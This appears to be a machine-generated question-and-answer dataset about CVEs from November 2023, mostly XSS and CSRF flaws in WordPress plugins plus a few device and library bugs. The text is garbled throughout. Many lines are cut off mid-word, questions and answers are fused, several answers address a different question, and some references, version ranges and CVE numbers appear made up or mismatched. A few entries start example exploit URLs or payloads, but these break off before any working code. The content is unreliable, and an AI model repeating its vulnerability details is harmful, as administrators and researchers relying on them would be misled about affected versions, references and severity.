What is the The Base Score for CVE-2023-47844 has not been assigned or is not available (N/A). Where can Additional details and explanations about CVE-2023-47844 can be found at the provided re Can you pr An attack scenario for CVE-2023-47844 would involve an attacker crafting a malicious URL What actio By exploiting CVE-2023-47844, an attacker could perform various malicious actions such as What is CV CVE-2023-47521 refers to a security vulnerability identified in the Q2W3 Post Order Wordl What type CVE-2023-47521 is classified as a 'Cross-site Scripting' (XSS) vulnerability, specifically a Refl Which plug The vulnerability CVE-2023-47521 affects the Q2W3 Post Order plugin for WordPress, spec How can C' An attacker can exploit CVE-2023-47521 by crafting a malicious URL that includes a script i Were ther As of the published date of November 30, 2023, specific patch information for CVE-2023-4 Where can Additional details about CVE-2023-47521 can be found on vulnerability tracking websites, : What is CV CVE-2023-38400 is a security vulnerability denoted by the Common Vulnerabilities and Exp How does t The vulnerability CVE-2023-38400 affects users by allowing attackers to execute arbitrary J Can you pr Sure, although I do not have the specific code for the Enfold theme, a generic example of re What are t Potential attack scenarios for CVE-2023-38400 include: 1. Phishing attacks where the attack What was t CVE-2023-38400 was published on 30 November 2023.

Are there a Yes, more information about CVE-2023-38400 can be found at the Patchstack database thr What is CV CVE-2023-34018 refers to a security vulnerability classified as Improper Neutralization of I

Which plug The plugin affected by CVE-2023-34018 is the SoundCloud Shortcode plugin used in conjur
What type CVE-2023-34018 is classified as a Cross-site Scripting (XSS) vulnerability, specifically Stored
Can you pr Sure, a general example of a Stored XSS vulnerability would be if a web application takes in
What is the The impact of CVE-2023-34018, which is a Stored XSS vulnerability, can be significant. An a
How could To exploit the Stored XSS vulnerability indicated by CVE-2023-34018, an attacker would ne
When was CVE-2023-34018 was published on 30 November 2023.

Are there a Yes, more information on CVE-2023-34018 can be found at the Patchstack database through
What is the As of the information provided, there is no Base Score assigned to CVE-2023-34018.

Has a patch The information provided does not specify whether a patch has been released. However, t
What is CV CVE-2023-31177 refers to a security vulnerability identified in the Schweitzer Engineering |
How can C CVE-2023-31177 can be exploited through a crafted link containing malicious code. When :
What type CVE-2023-31177 is classified as an Improper Neutralization of Input During Web Page Gen
Where can Additional details about CVE-2023-31177 can be found on the Schweitzer Engineering Labc
Are there a Yes, users should refer to the product Instruction Manual Appendix A, dated August 30, 20
What is the The base score for CVE-2023-31177 has not been assigned or it is not available at the time
When was CVE-2023-31177 was published on November 30, 2023.

Could you ; A potential attack scenario could involve an attacker crafting a malicious URL that embeds
What is CV CVE-2023-2266 refers to a security vulnerability discovered in Schweitzer Engineering Labc
What kind CVE-2023-2266 is a cross-site scripting (XSS) vulnerability, which results from improper nei
What devic The device affected by CVE-2023-2266 is the SEL-411L engineered by Schweitzer Engineeri
How can sc Additional details about the CVE-2023-2266 vulnerability can be found in the Instruction N
When was CVE-2023-2266 was published on November 30, 2023.

Are there a Yes, there is a reference providing more information about CVE-2023-2266 available at htt
What is the The base score for CVE-2023-2266 has not been provided or is not applicable as mentioned

What coulc A possible attack scenario for exploiting CVE-2023-2266 could involve an attacker injecting

What is CV CVE-2023-46086 refers to a security vulnerability identified in the SERVIT Software Solutio

What versi CVE-2023-46086 affects all versions of the affiliate-toolkit WordPress Affiliate Plugin up to

What kind CVE-2023-46086 is a type of Cross-site Scripting (XSS) vulnerability, specifically a Reflected

How can C An attacker can exploit CVE-2023-46086 by crafting a malicious URL with embedded JavaS

Where can Further details and potentially a patch for CVE-2023-46086 can be found on the Patchstack

Has a Base As of the information provided, no Base Score has been assigned to CVE-2023-46086. User

When was CVE-2023-46086 was published on 30 November 2023. It is important for administrators a

Can you pr While I don't promote the creation of malicious content, a hypothetical example of a URL c

What is CV CVE-2023-45609 refers to a security vulnerability categorized as 'Improper Neutralizatio

What appli The applications affected by CVE-2023-45609 are components of the POWR.Io plugin suite

Can you de An attack scenario for CVE-2023-45609 might involve an attacker crafting malicious input t

Has CVE-20 As of the latest available information, CVE-2023-45609 has not been assigned a CVSS Base

When was CVE-2023-45609 was published on 30 November 2023.

Where can Additional information about CVE-2023-45609 can be found at the provided reference URL

What is Stc Stored XSS, also known as persistent XSS, is a type of vulnerability where an attacker is abl

What mea: To mitigate the threat posed by CVE-2023-45609, users of the affected POWR.Io plugin shc

What is the The CVE ID for the vulnerability in Bamboo Mcr Bamboo Columns is CVE-2023-44143.

What type CVE-2023-44143 identifies an 'Improper Neutralization of Input During Web Page Generat

Which plug The Bamboo Mcr Bamboo Columns plugin for WordPress is affected by the vulnerability id

What version of the Bamboo Columns plugin does CVE-2023-44143 affect? The vulnerability affects versions from the earliest version up to the latest. Is there a detailed reference for CVE-2023-44143? Yes, a detailed reference for CVE-2023-44143 is available at Patchstack: <https://patchstack.com/cve-2023-44143>. What is the Base Score for CVE-2023-44143? The Base Score for CVE-2023-44143 has not been assigned or is not available (marked as 'N/A'). When was CVE-2023-44143 published? CVE-2023-44143 was published on 30 November 2023.

Can you provide an attack scenario for CVE-2023-44143? An attack scenario for CVE-2023-44143 could involve an attacker injecting malicious JavaScript code into a website's content. How might an example of a Stored XSS attack exploiting CVE-2023-44143 work? An example of a Stored XSS attack exploiting CVE-2023-44143 might involve an attacker submitting malicious code to a website's comment section or forum, which is then stored and displayed to other users. What is CVE-2023-39921? CVE-2023-39921 refers to a security vulnerability classified as 'Improper Neutralization of Input During Web Browsing'. Which plugin does CVE-2023-39921 affect? CVE-2023-39921 affects versions of the Molongui Author Box, Guest Author and Co-Author plugin. What type of vulnerability is CVE-2023-39921? CVE-2023-39921 is classified as a Stored Cross-Site Scripting (XSS) vulnerability. This form of attack can lead to the execution of arbitrary JavaScript code in the victim's browser. What might an attacker do by exploiting CVE-2023-39921? By exploiting CVE-2023-39921, an attacker could perform a range of malicious activities including stealing user data, redirecting them to malicious websites, or launching denial-of-service attacks. Can you provide an example of code that exploits CVE-2023-39921? While I cannot provide an actual exploit code for ethical reasons, a typical example of code that might exploit this vulnerability would involve injecting malicious script tags into a user's input field, such as a comment or guest post, which is then stored and rendered on the page.

Where can additional information and potentially a patch for CVE-2023-39921 be found? Additional information and potentially a patch for CVE-2023-39921 can be found at the following URL: <https://patchstack.com/cve-2023-39921>. What steps should website administrators take to protect against CVE-2023-39921? To protect against CVE-2023-39921, website administrators using the Molongui Author Box plugin should update to the latest version of the plugin to apply the fix.

What is CVE-2023-48744? CVE-2023-48744 refers to a security vulnerability identified in the Offshore Web Master Availability Calendar plugin for WordPress.

What type of vulnerability is CVE-2023-48744? CVE-2023-48744 is a Cross-Site Request Forgery (CSRF) vulnerability. Which plugin does it affect? The Offshore Web Master Availability Calendar plugin for WordPress is affected by CVE-2023-48744. What version of the Availability Calendar plugin impacts all versions from the initial release? CVE-2023-48744 impacts all versions of the Availability Calendar plugin from the initial release up to the latest version.

When was CVE-2023-48744 published? CVE-2023-48744 was published on 30 November 2023.

Where can more information about CVE-2023-48744 be found? More information about CVE-2023-48744 can be found at the following reference URL: <https://patchstack.com/cve-2023-48744>.

Can you provide an attack scenario for CVE-2023-48744? As a policy, we do not provide code examples for exploiting vulnerabilities. However, a general attack scenario for CVE-2023-48744 involves an attacker sending a forged request to a user's browser, tricking them into performing unintended actions on the website.

What kind of impact does CVE-2023-48744 have? An attacker could exploit CVE-2023-48744 by creating a malicious webpage or email that tricks users into performing actions they did not intend.

Is there a known Base Score assigned to CVE-2023-48744? As of the information provided for CVE-2023-48744, there is no known Base Score assigned.

What is CVE-2023-48284? CVE-2023-48284 refers to a Cross-Site Request Forgery (CSRF) vulnerability found in the WebToffee Decorator – WooCommerce Email Customizer plugin.

When was CVE-2023-48284 published? CVE-2023-48284 was published on 30 November 2023.

Which version of the WebToffee Decorator – WooCommerce Email Customizer plugin does CVE-2023-48284 affect? The versions of the WebToffee Decorator – WooCommerce Email Customizer plugin affected by CVE-2023-48284 are not explicitly listed.

Are there any specific details provided for CVE-2023-48284? More information about CVE-2023-48284 can be found at the following URL: <https://patchstack.com/cve-2023-48284>.

What kind of attack leverages CVE-2023-48284? An attack leveraging CVE-2023-48284 involves CSRF, where an attacker tricks a logged-in user into performing unwanted actions on the website.

What is the impact of CVE-2023-48284? The base score for CVE-2023-48284 has not been provided or is not available at the time of writing.

What can users do to mitigate the CSRF vulnerability identified as CVE-2023-48284? To mitigate the CSRF vulnerability identified as CVE-2023-48284, users should update the plugin to the latest version.

What is CVE-2023-41128? CVE-2023-41128 identifies a type of vulnerability known as 'Improper Neutralization of Input During Web Browsing'.

Which plugin does CVE-2023-41128 affect? CVE-2023-41128 affects the 'Iqonic Design WP Roadmap – Product Feedback Board' plugin.

What version of the WP Roadmap – Product Feedback Board plugin does CVE-2023-41128 impact? CVE-2023-41128 impacts WP Roadmap – Product Feedback Board plugin versions up to an unspecified version.

Are there any specific details provided for CVE-2023-41128? Yes, more information about CVE-2023-41128 can be found at the following URL: <https://patchstack.com/cve-2023-41128>.

What is the impact of CVE-2023-41128? CVE-2023-41128 was published on 30 November 2023.

Could you provide an example of an attack scenario for CVE-2023-41128? While specific details of the vulnerability CVE-2023-41128 are not provided, a general attack scenario for this type of vulnerability involves an attacker injecting malicious code into a user's input field, such as a comment or post, which is then stored and rendered on the page.

What are some potential attack scenarios associated with CVE-2023-41128? The potential attack scenarios associated with CVE-2023-41128 could include an attacker stealing user data, redirecting them to malicious websites, or launching denial-of-service attacks.

What is the Base Score for CVE-2023-41128? CVE-2023-41128 is a security vulnerability classified as 'Improper Neutralization of Input During Web Browsing'.

When was CVE-2023-41128 reported and published? CVE-2023-41128 was reported and published on 30 November 2023.

What version of the Evergreen Content Poster – Auto Post and Scheduler plugin does CVE-2023-41127 affect? The vulnerability CVE-2023-41127 affects Evergreen Content Poster – Auto Post and Scheduler.

What is the impact of CVE-2023-41127? The impact of CVE-2023-41127 is a Stored Cross-site Scripting (XSS) attack, where an attacker can inject malicious code into a user's input field, such as a comment or post, which is then stored and rendered on the page.

Are there any specific details provided for CVE-2023-41127? Yes, there is a reference available for CVE-2023-41127 which provides additional information.

What might an attacker do by exploiting CVE-2023-41127? A simple code example that could demonstrate a Stored XSS issue similar to CVE-2023-41127 is provided in the reference.

How could an attacker exploit CVE-2023-41127? An attacker could exploit CVE-2023-41127 by submitting a post or comment containing malicious code.

Is there a known Base Score assigned to CVE-2023-41127? As of the available information, there is no assigned Base Score for CVE-2023-41127. Severity is marked as 'Informational'.

What is the CVE ID for the Stored XSS vulnerability in the Team Yoast SEO plugin is CVE-2023-40680. The vulnerability identified by CVE-2023-40680 in the Yoast SEO plugin is an Improper Neutralization of Input During Web Page Content.

Which plugin affects the Team Yoast SEO plugin, from the earliest available version up to and including version 11.0.0?

When was the XSS vulnerability in the Yoast SEO plugin with CVE ID CVE-2023-40680 was published on November 30, 2023.

Can you provide sure, additional information about CVE-2023-40680 can be found at the following URL: <https://wpvulndb.com/cve/40680>

What kind of vulnerability does CVE-2023-40680 describes a Stored XSS vulnerability in the Yoast SEO WordPress plugin. It is a 'Cross-site Scripting' (XSS) vulnerability.

What is the CVSS base score for CVE-2023-40680 is not available (N/A).

What is CVE-2023-40674 refers to a security vulnerability identified in the Lasso Simple URLs – Link Cloaking plugin. The vulnerability affects the Lasso Simple URLs – Link Cloaking, Product Displays, and Affiliate Marketing.

Which version of CVE-2023-40674 is a 'Cross-site Scripting' (XSS) vulnerability, specifically a Stored XSS vulnerability?

Could you provide a specific code example? While a specific code example is not provided, an exploitation of CVE-2023-40674 typically involves crafting a malicious URL that triggers the XSS attack.

What version of CVE-2023-40674 affects the Lasso Simple URLs plugin from the earliest available version up to and including version 1.0.0?

Has the Base Score been assigned? As of the available information, the Base Score for CVE-2023-40674 has not been assigned.

When was CVE-2023-40674 was published on November 30, 2023.

Are there any references or proofs of concept available for CVE-2023-40674? Yes, more information about CVE-2023-40674 can be found at the following URL: <https://wpvulndb.com/cve/40674>

What are the known attack vectors? An attack exploiting CVE-2023-40674 could lead to unauthorized actions on the infected website.

What should users do? Users of the affected Lasso Simple URLs plugin should update to a version of the plugin that is not vulnerable to this exploit.

What is the CVSS base score for CVE-2023-38474 refers to a security vulnerability involving Improper Neutralization of Input During Web Page Content.

What type of vulnerability is CVE-2023-38474 is classified as a Reflected Cross-site Scripting (XSS) vulnerability.

Which plugin is affected by CVE-2023-38474? The plugin affected by CVE-2023-38474 is Campaign Monitor for WordPress.

Which versions of the plugin are vulnerable? The versions of Campaign Monitor for WordPress that are vulnerable to CVE-2023-38474 are 1.0.0 and earlier.

When was CVE-2023-38474 was published on November 30, 2023.

Are there any references or proofs of concept available for CVE-2023-38474? Yes, there is at least one public reference available for CVE-2023-38474 which can be found at <https://wpvulndb.com/cve/40674>.

Could you provide a specific code example? An attack exploiting CVE-2023-38474 could involve an attacker crafting a malicious URL with a script payload.

What is the CVSS base score for CVE-2023-38474 is not provided ('N/A') in the given information.

Are there any specific code examples or proofs of concept provided within the given information? There are no specific code examples or proofs of concept provided within the given information.

What is the CVSS base score for CVE-2023-32291 refers to a security vulnerability identified in the MonsterInsights Pro plugin.

Which version of the plugin is affected? CVE-2023-32291 affects MonsterInsights Pro plugin versions up to and including 8.14.1.

What is the vulnerability CVE-2023-32291 is an Improper Neutralization of Input During Web Page Content.

What is the exploit? Exploiting CVE-2023-32291 allows attackers to execute arbitrary JavaScript code in the content of a web page.

How can it be mitigated? To mitigate or resolve CVE-2023-32291, users should update the MonsterInsights Pro plugin to a fixed version.

Where can additional information be found? Additional information about CVE-2023-32291 can be found at the provided reference: <https://wpvulndb.com/cve/48329>

Can you provide a specific code example? In an attack scenario involving CVE-2023-32291, an attacker could craft a malicious script and inject it into a web page.

Has the CVSS base score been assigned? As of the information provided, CVE-2023-32291 has not been assigned a CVSS base score.

Was the vulnerability disclosed publicly? Yes, CVE-2023-32291 was disclosed publicly on November 30, 2023 as indicated in the published information.

What is the CVSS base score for CVE-2023-48329 is a security vulnerability related to Improper Neutralization of Input During Web Page Content.

Which plugin is affected? The Fast Custom Social Share by CodeBard WordPress plugin is affected by CVE-2023-48329.

Up to which version of the plugin is the vulnerability present? CVE-2023-48329 affects versions of Fast Custom Social Share by CodeBard up to and including 1.0.0.

When was CVE-2023-48329 was published on November 30, 2023.

What is the CVSS base score for CVE-2023-48329 has not been provided or specified (listed as 'N/A').

Could you provide a specific code example? An attacker exploiting CVE-2023-48329 could craft a malicious payload that, when stored in a database, would be executed when retrieved.

Are there any references or proofs of concept available for CVE-2023-48329? Yes, information regarding CVE-2023-48329 can be found at the following URL: <https://wpvulndb.com/cve/48329>

What is the CVE ID of the vulnerability found in Pixelite Events Manager is CVE-2023-48326.

What type of vulnerability is CVE-2023-48326 is described as an 'Improper Neutralization of Input During Web Page Content'.

Which plug The Pixelite Events Manager plugin for WordPress is affected by CVE-2023-48326.

Up to whic Pixelite Events Manager versions up to and including 6.4.5 are affected by the CVE-2023-48326.

What type CVE-2023-48326 is a Reflected XSS vulnerability. An attacker could exploit it by crafting a n

Where can More information or a reference for CVE-2023-48326 can be found at Patchstack's vulnerabilit

What is the The published date for CVE-2023-48326 is 30 November 2023.

Could you | Certainly, here's an example of a URL that could exploit CVE-2023-48326: `http://example.

Can you de Imagine a scenario where an attacker sends an email to users with a link to the affected Ev

What is the The CVE ID of the identified vulnerability is CVE-2023-48322.

Can you de The vulnerability with CVE ID CVE-2023-48322 is an 'Improper Neutralization of Input Duri

What versi The eDoc Employee Job Application plugin is affected by the vulnerability CVE-2023-48322

When was The vulnerability with ID CVE-2023-48322 was published on 30 November 2023.

Where can More information about the CVE-2023-48322 can be found in the Patchstack database at t

Is a base sc As of the information provided, there was no base score assigned to the CVE-2023-48322 \

What is the The impact of CVE-2023-48322 involves a Reflected XSS vulnerability which can allow an at

Could you | An attack scenario involving CVE-2023-48322 might include the attacker crafting a malicio

What is the The CVE ID of the vulnerability is CVE-2023-48289.

Can you de CVE-2023-48289 is a Cross-site Scripting (XSS) vulnerability that affects the SpreadsheetCo

What versi CVE-2023-48289 affects the SpreadsheetConverter Import Spreadsheets from Microsoft E

When was The CVE-2023-48289 vulnerability was published on November 30, 2023.

Are there a Yes, there is a publicly available reference for CVE-2023-48289, which can be found at: http://

Is there an An attacker could exploit CVE-2023-48289 by crafting a malicious Excel spreadsheet that ir

What are t The consequences of an attack that exploits CVE-2023-48289 could be severe, ranging fro

What mea To mitigate the risks associated with CVE-2023-48289, users should patch the affected Sprin

What is CV CVE-2023-47854 is a security vulnerability designation identifying a specific 'Improper Neu

What kind CVE-2023-47854 is a Stored Cross-site Scripting (XSS) vulnerability. It allows an attacker to

Which plug The Howard Ehrenberg Parallax Image plugin for WordPress is affected by CVE-2023-47851

What is the Websites using the vulnerable versions of the Howard Ehrenberg Parallax Image plugin are

How can C CVE-2023-47854 can be exploited by an attacker who manages to store malicious JavaScrip

Can you pr A potential attack using CVE-2023-47854 might involve an attacker placing a script tag with

On which c CVE-2023-47854 was published on 30 November 2023.

Where can More information about CVE-2023-47854 can be found at the Patchstack database URL pr

What is the The base score for CVE-2023-47854 has not been assigned or is not available at the time of

Are there a As the specifics regarding patches or updates to mitigate CVE-2023-47854 are not provided

What is CV CVE-2023-47851 refers to a security vulnerability of the 'Improper Neutralization of Input I

What type CVE-2023-47851 is classified as a Stored Cross-Site Scripting (XSS) vulnerability.

Which plug The Bootstrap Shortcodes Ultimate WordPress plugin, developed by Akhtarujjaman Shuvo

What versi Versions of Bootstrap Shortcodes Ultimate from the initial release up to and including 4.3.

How can a An attacker can exploit CVE-2023-47851 by injecting malicious scripts into webpages gene

Can you pr Certainly, an example of an attack might involve an attacker placing a malicious script with

Where can More detailed information about CVE-2023-47851 can be found at the following URL: http://

What step To address CVE-2023-47851, users of the Bootstrap Shortcodes Ultimate WordPress plugin

What is the The official identifier for this cross-site scripting vulnerability in the PeepSo Community plu

What type CVE-2023-47850 refers to an 'Improper Neutralization of Input During Web Page Generatio

Which soft The software affected by CVE-2023-47850 is the PeepSo Community by PeepSo – Social Ne

Which version of the PeepSo Community plugin up to and including 6.2.1 is affected by CVE-2023-47850? The impact of CVE-2023-47850 is that it allows an attacker to inject malicious scripts, which can lead to arbitrary code execution. When was CVE-2023-47850 published?

Where can More information about CVE-2023-47850 can be found at the following URL: <https://patchstack.com/cve-2023-47850>. Can you explain In the case of CVE-2023-47850, an attacker could exploit the Stored XSS vulnerability by crafting malicious input? What is the Base Score for CVE-2023-47850 has not been provided. Severity ratings such as 'Critical' or 'High' are typically used. What type of vulnerability associated with CVE-2023-47777 is an Improper Neutralization of Input Data? What products are affected by CVE-2023-47777 are Automattic WooCommerce, from versions 3.16.4 up to and including 3.16.4. What is the impact of the CVE-2023-47777 vulnerability includes allowing attackers to execute arbitrary code. When was CVE-2023-47777 published?

Where can More details and patches related to CVE-2023-47777 can be found on various security advisories. Can you provide An XSS attack exploiting CVE-2023-47777 might involve an attacker submitting a product review containing malicious script? What might A possible attack scenario for CVE-2023-47777 could involve an attacker who has the ability to edit posts or comments. What is CVE-2023-47505 refers to a security vulnerability identified in the Elementor plugin for WordPress. Which versions of Elementor from the earliest available release up to and including 3.16.4 are affected? How would An attacker could exploit CVE-2023-47505 by crafting malicious input, such as a script, that is stored in a comment or post content? What is the impact of the XSS vulnerability, CVE-2023-47505, in Elementor includes the potential for arbitrary code execution. What are some Common attack scenarios for CVE-2023-47505 may include an attacker posting comments containing malicious scripts. Are there any Yes, you can learn more about CVE-2023-47505 from the following online references: '<https://wpvulndb.com/vulnerabilities/10000>' and '<https://wpvulndb.com/vulnerabilities/10001>'. What should If you're using a version of Elementor affected by CVE-2023-47505, you should update to the latest version available. What type of CVE-2023-45050 identifies a 'Cross-site Scripting' (XSS) vulnerability specifically described in the advisory? What version of CVE-2023-45050 affects Jetpack – WP Security, Backup, Speed, & Growth plugin versions up to and including 2.0.6. What plugin is The plugin affected by CVE-2023-45050 is Automattic's Jetpack – WP Security, Backup, Speed, & Growth plugin. When was CVE-2023-45050 published?

Where can More information about CVE-2023-45050 can be found through the following references: - <https://wpvulndb.com/vulnerabilities/10002> and <https://wpvulndb.com/vulnerabilities/10003>. What can happen The consequences of the CVE-2023-45050 XSS vulnerability include unauthorized access to user data or system resources. Can you provide An attack scenario for CVE-2023-45050 might involve an attacker exploiting the XSS vulnerability to steal sensitive information or modify site content. Has CVE-2023-45050 As of the information available, CVE-2023-45050 has not been assigned a CVSS Base Score. What is CVE-2023-41136 is a security vulnerability identified in the Laurence/OhMyBox_Info_Simple_Include plugin. Which version of CVE-2023-41136 affects all versions of the Simple Long Form WordPress plugin up to and including 1.0.0. What is the impact of CVE-2023-41136 can include unauthorized script execution in the context of user-submitted forms. Are there any details regarding a specific fix or patch for CVE-2023-41136 are not provided in the given information. Can you give An example of a stored XSS attack exploiting CVE-2023-41136 could involve an attacker submitting a form with malicious script. Where can More information on CVE-2023-41136 can be found at the following URL provided in the advisory: <https://wpvulndb.com/vulnerabilities/10004>. What is CVE-2023-48743 refers to a security vulnerability which involves Improper Neutralization of Input Data. How does CVE-2023-48743 The CVE-2023-48743 vulnerability enables attackers to execute malicious scripts in the context of user-submitted URLs. What type of CVE-2023-48743 makes it possible for attackers to carry out Reflected Cross-Site Scripting. Can you provide While no specific code example is provided, a URL exploiting CVE-2023-48743 would typically contain a malicious script. Has CVE-2023-48743 As of the provided information, CVE-2023-48743 has not been assigned a Base Score. Where can More information about CVE-2023-48743 can be found at the following reference URL: '<https://wpvulndb.com/vulnerabilities/10005>'. What version of CVE-2023-48743 affects the Simply Exclude plugin from versions up to and including 2.0.6. What date was CVE-2023-48743 published on 30 November 2023. Upon publication, the details of the vulnerability were disclosed. What is CVE-2023-48737 refers to a security vulnerability identified as an Improper Neutralization of Input Data. Which version of CVE-2023-48737 affects the TriPay Payment Gateway software from version n/a (not available).

What are t The principal consequence of the vulnerability CVE-2023-48737 is the potential for an atta
Has CVE-20 As of the available information, CVE-2023-48737 has not been assigned a CVSS base score.
On which c CVE-2023-48737 was published on 30 November 2023.

Where can More information about CVE-2023-48737 can be found at the Patchstack database through
What is An exploit of CVE-2023-48737 could involve an attacker submitting a crafted payment form
Can you de In a potential attack scenario involving CVE-2023-48737, an attacker might craft a maliciou
What is the The CVE ID of the vulnerability is CVE-2023-48336.

Can you pr CVE-2023-48336 describes an Improper Neutralization of Input During Web Page Generati
What versi The CVE-2023-48336 vulnerability affects Easy Social Icons versions from the earliest relea
Has the CV No, a Base Score for CVE-2023-48336 has not been provided yet.

When was The CVE-2023-48336 vulnerability was published on 30 November 2023.

Where can You can find more information about the CVE-2023-48336 vulnerability on Patchstack's da
Could you i An attacker could exploit CVE-2023-48336 by crafting a malevolent script and submitting it
What is CV CVE-2023-4473 is a security vulnerability identifier for a command injection vulnerability t
Which devi The devices affected by CVE-2023-4473 are the Zyxel NAS326 and Zyxel NAS542 network-a
How does i CVE-2023-4473 allows an attacker to compromise a system through a command injection \
When was CVE-2023-4473 was published on November 30, 2023.

Are there a Yes, there are public references with more information about CVE-2023-4473. Two such ref
What migh As an example, a crafted URL exploiting CVE-2023-4473 might look like something that app
What coul A successful attack exploiting CVE-2023-4473 could lead to several potential impacts, inclu
Has a base As of the provided information, a base score has not been assigned to CVE-2023-4473. The
What is the The CVE ID for the vulnerability is CVE-2023-49694.

What type CVE-2023-49694 describes a vertical privilege escalation vulnerability that allows a low-pri
In the vuln In CVE-2023-49694, the arbitrary JSP files created by a low-privileged user can be executed
Can you pr CVE-2023-49694 was published on 29 November 2023.

What are s More information about CVE-2023-49694 can be found at the following references:- NETGE
What is the The base score for CVE-2023-49694 has not been provided in the available information.

What migh A possible attack scenario for CVE-2023-49694 involves a low-privileged user on a Window
What is CV CVE-2023-44383 refers to a security vulnerability present in the October CMS platform wh
How can t The CVE-2023-44383 vulnerability can be exploited by an attacker with access to the medi
In which v€ The CVE-2023-44383 vulnerability was patched in October CMS version 3.5.2. Users are str
What is the The impact of CVE-2023-44383 on October CMS users includes the potential for unauthoriz
Where can Additional information about CVE-2023-44383 can be found in the published security advis
What kind CVE-2023-44383 enables a stored Cross-Site Scripting (XSS) attack within the October CMS
What are s The consequences of a successful exploitation of CVE-2023-44383 may include, but are not
What is CV CVE-2023-48882 refers to a stored cross-site scripting (XSS) vulnerability in EyouCMS versi
How can a! An attacker can exploit the vulnerability in CVE-2023-48882 by injecting a malicious script i
What versi CVE-2023-48882 affects EyouCMS version 1.6.4-UTF8-SP1.

What is the The impact of the XSS vulnerability described in CVE-2023-48882 includes potential unauth
Has CVE-20 As of the latest available information, CVE-2023-48882 has not been assigned a Base Score
Where is a An example of the vulnerability CVE-2023-48882 has been disclosed and can be found in th
On what d: CVE-2023-48882 was published on 29 November 2023.

Can you pr An example of a crafted payload an attacker could inject for CVE-2023-48882 might look lik
What can k To mitigate the risk associated with CVE-2023-48882, administrators and users should upd

What are s Possible attack scenarios for CVE-2023-48882 might include an attacker taking over admin
What is CV CVE-2023-48881 refers to a stored cross-site scripting (XSS) vulnerability present in EyouCI
How can C' An attacker can exploit CVE-2023-48881 by sending a malicious script as part of the Field T
What versi CVE-2023-48881 affects EyouCMS version 1.6.4-UTF8-SP1. Users of this specific version sh
What step: To mitigate CVE-2023-48881, administrators should apply any security updates or patches
Where can More information about CVE-2023-48881 can be found on the GitHub issue tracker for Eyc
What is the The impact of a stored XSS vulnerability like CVE-2023-48881 can be quite significant given
Has CVE-2023-48881 As of the information provided, CVE-2023-48881 has not been assigned a CVSS Base Score.
When was CVE-2023-48881 was published on 29 November 2023. Following its publication, it is recor
What is the The CVE ID for the stored XSS vulnerability in EyouCMS is CVE-2023-48880.

In which ve The stored XSS vulnerability designated as CVE-2023-48880 was discovered in EyouCMS ve
How does tCVE-2023-48880 is a stored cross-site scripting (XSS) vulnerability in EyouCMS that allows ;
What kind CVE-2023-48880 poses a security risk in the form of a stored cross-site scripting (XSS) vuln
When was The CVE-2023-48880 vulnerability in EyouCMS was published on 29 November 2023.

Where can More information about the CVE-2023-48880 vulnerability in EyouCMS can be found on th
What kind Possible attack scenarios with CVE-2023-48880 include an attacker injecting a malicious sc
What is CV CVE-2023-49090 refers to a security vulnerability identified in CarrierWave, which is a pop
How does tCVE-2023-49090 affects CarrierWave by introducing a vulnerability whereby attackers cou
Which vers All versions of CarrierWave prior to 2.2.5 and 3.0.5 are affected by CVE-2023-49090. Users
How can t To mitigate the CVE-2023-49090 vulnerability, users should update to the patched version:
Are there a Yes, for more details on the CVE-2023-49090 vulnerability, you can refer to the following r
Can you pr A possible attack scenario exploiting CVE-2023-49090 could involve an attacker creating a ·
What is the The impact of the vulnerability described in CVE-2023-49090 is significant as it opens the d
When was CVE-2023-49090 was published on 29 November 2023.

Does CVE-2 As of the provided information, CVE-2023-49090 does not have a Base Score assigned. Thi
What is CV CVE-2023-6346 refers to a security vulnerability found in the WebAudio component of Go
Which vers The vulnerability addressed by CVE-2023-6346 affects all versions of Google Chrome prior
Can you de An attack scenario for CVE-2023-6346 could involve a malicious actor creating a specially c
What is the The severity of CVE-2023-6346 has been assessed as High. This rating indicates that the vu
Where can More information about CVE-2023-6346 can be found through various sources such as the
What is CV CVE-2022-41678 refers to a security vulnerability in Jolokia, which, when exploited, allows
What are t The impact of CVE-2022-41678 is potentially severe, as it allows an authenticated attacker
How can C' The mitigation for CVE-2022-41678 involves restricting the actions that are authorized on J
Are any Po There are no specific proof of concept (PoC) code examples provided in the CVE-2022-416
What are t For more details on CVE-2022-41678, one could refer to the information provided by vario
What is the CVE-2022-41678 was published on 28 November 2023.

What is CV CVE-2023-4667 is a security vulnerability in the web interface of a PAC Device which allow
When was CVE-2023-4667 was published on 28 November 2023.

What is the The impact of CVE-2023-4667 on the security of the PAC Device includes the risk of unauth
Is there a b As of the available details, there is no Base Score provided for CVE-2023-4667.

Where can More information about CVE-2023-4667 can be found at the provided reference URL: http:
What coul A potential attack scenario for CVE-2023-4667 involves an attacker with access to the devic
How can C' To mitigate CVE-2023-4667, it is essential to apply any updates or patches provided by the
What is CV CVE-2023-34055 is a vulnerability identified in Spring Boot, affecting versions 2.7.0 - 2.7.17

Which Spring Framework CVE-2023-34055 affects Spring Boot versions 2.7.0 - 2.7.17, 3.0.0-3.0.12, and 3.1.0-3.1.5.
What kind of vulnerability is CVE-2023-34055? It is a denial-of-service (DoS) vulnerability that occurs due to the ability to send large amounts of data to the application, causing it to crash or become unresponsive.

When was the CVE-2023-34055 vulnerability published?

How can I fix it? More information about CVE-2023-34055 can be found at the provided reference link: <https://www.cve.org/cve/CVE-2023-34055.html>.

What are the symptoms of this vulnerability? An application is vulnerable to CVE-2023-34055 if it meets all of the following conditions:

Can you provide more details about the attack vector? While specifics of the attack vector for CVE-2023-34055 are not detailed in the CVE description, it typically involves sending a large amount of data to the application's input fields to exhaust its memory or processing power.

What is the impact? The 'spring-boot-actuator' module in Spring Boot provides production-ready features to help monitor and manage the application.

What is the CVE ID for this vulnerability? The CVE ID for the vulnerability discovered in the Spring Framework is CVE-2023-34053.

Can you describe what CVE-2023-34053 refers to? CVE-2023-34053 refers to a vulnerability in Spring Framework versions 6.0.0 - 6.0.13, where an attacker can exploit a denial-of-service (DoS) condition.

What are the symptoms of this vulnerability? An application is susceptible to the CVE-2023-34053 vulnerability if it uses Spring MVC or Spring Boot.

Which versions of the Spring Framework are affected? CVE-2023-34053 affects Spring Framework versions from 6.0.0 to 6.0.13.

When was CVE-2023-34053 published?

Are there any patches available? Yes, more information about CVE-2023-34053 can be found at the following URLs: <https://www.cve.org/cve/CVE-2023-34053.html>.

What is the CVSS Base Score for CVE-2023-34053? The CVSS Base Score for CVE-2023-34053 is not available ('N/A').

What potential attack scenarios are associated with this vulnerability? Potential attack scenarios involve an attacker crafting malicious requests to exhaust the application's resources.

What is CVE-2023-4220? CVE-2023-4220 refers to a security vulnerability identified in Chamilo LMS versions up to and including 1.9.1.

